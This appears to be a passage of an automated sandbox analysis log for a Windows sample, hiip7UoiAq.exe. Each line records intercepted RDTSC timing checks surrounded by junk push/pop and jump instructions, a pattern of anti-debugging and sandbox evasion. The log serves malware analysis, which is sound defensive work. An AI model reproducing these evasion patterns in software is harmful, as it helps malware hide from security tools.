Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ECA9D1 second address: ECA9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F6190F29206h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ECA9E5 second address: ECA9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ECA9EB second address: ECA9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ECA9F0 second address: ECAA0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124D5h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ECAA0B second address: ECAA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ECFD37 second address: ECFD3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED0002 second address: ED000C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6190F29206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED000C second address: ED0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED029D second address: ED02A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED02A8 second address: ED02AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E40DE1 second address: E40DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F6190F29206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED806B second address: ED8079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jo 00007F6190F124CEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED81BA second address: ED81C4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6190F29206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED81C4 second address: ED81D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F6190F124C6h 0x0000000a jbe 00007F6190F124C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED8783 second address: ED878C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7E3A2 second address: E7E3A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED950D second address: ED9511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: ED9511 second address: ED9534 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F6190F124CBh 0x0000000d jmp 00007F6190F124CBh 0x00000012 push ecx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EDF432 second address: EDF436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EDF436 second address: EDF43C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EDF43C second address: EDF44F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F6190F29206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE0307 second address: EE030B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE030B second address: EE030F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE030F second address: EE0317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE0317 second address: EE031C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE031C second address: EE0322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE5CB8 second address: EE5CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29213h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE5CCF second address: EE5CF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F6190F124D6h 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE5CF2 second address: EE5CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE55A3 second address: EE55A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE55A7 second address: EE55BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F2920Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE55BD second address: EE55DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F124D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EE55DA second address: EE55F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F6190F29215h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EEA704 second address: EEA70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EEA70A second address: EEA727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d popad 0x0000000e push edi 0x0000000f push ebx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop ebx 0x00000015 jc 00007F6190F2920Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF2714 second address: EF2739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F6190F124C6h 0x0000000d jmp 00007F6190F124D8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF2739 second address: EF273D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF273D second address: EF2743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF1242 second address: EF124C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6190F29206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF124C second address: EF1250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF1250 second address: EF1261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F6190F29206h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF1261 second address: EF1267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF1267 second address: EF1274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F6190F2920Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF13D5 second address: EF140B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CFh 0x00000007 jng 00007F6190F124C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F6190F124DAh 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF1DDD second address: EF1DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF1DE5 second address: EF1E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6190F124CAh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007F6190F124D6h 0x00000018 pop esi 0x00000019 push esi 0x0000001a jmp 00007F6190F124D1h 0x0000001f jp 00007F6190F124C6h 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF2536 second address: EF258C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6190F29212h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F6190F2920Bh 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F6190F2920Ch 0x0000001a js 00007F6190F29206h 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 popad 0x00000023 pushad 0x00000024 jmp 00007F6190F29214h 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF258C second address: EF259E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F6190F124CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF259E second address: EF25A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF25A2 second address: EF25A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF25A8 second address: EF25C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6190F29210h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF041D second address: EF0437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F124D4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF0437 second address: EF043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF4D0D second address: EF4D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF9208 second address: EF920D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF920D second address: EF9217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EF9217 second address: EF922B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F2920Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EFBEDD second address: EFBEFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124D8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EFBEFB second address: EFBEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: EFC1E8 second address: EFC1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6190F124C6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F080F5 second address: F080F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F080F9 second address: F080FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F080FF second address: F08104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F08104 second address: F0810A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F0DAAF second address: F0DAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6190F29206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F0DAB9 second address: F0DABF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F14213 second address: F14222 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F14222 second address: F1422D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6190F124C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1422D second address: F1423B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6190F29208h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1423B second address: F14241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F14241 second address: F14245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1C49F second address: F1C4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1C4AA second address: F1C4B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1C4B0 second address: F1C4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1C4B6 second address: F1C4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1C4BA second address: F1C4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1DC2A second address: F1DC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F1DC2F second address: F1DC79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F6190F124D0h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b push eax 0x0000000c jmp 00007F6190F124D1h 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007F6190F124D4h 0x0000001a push eax 0x0000001b push edx 0x0000001c jnc 00007F6190F124C6h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25175 second address: F25179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25179 second address: F2517F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F2517F second address: F2518E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F2532B second address: F2533F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6190F124C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F6190F124C6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25711 second address: F25724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F6190F29206h 0x0000000d jne 00007F6190F29206h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25724 second address: F25728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25728 second address: F25739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F6190F29206h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F259A8 second address: F259C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop esi 0x0000000d jp 00007F6190F124CAh 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25B1C second address: F25B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25B20 second address: F25B30 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6190F124C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F25B30 second address: F25B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F29219h 0x00000009 pop esi 0x0000000a jmp 00007F6190F29215h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F2E1AA second address: F2E1B6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F494AF second address: F494B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F494B5 second address: F494BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F494BB second address: F494C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F494C1 second address: F494C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F494C5 second address: F494CB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F4BE29 second address: F4BE40 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6190F124CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F4BE40 second address: F4BE50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F6190F29206h 0x00000010 rdtsc
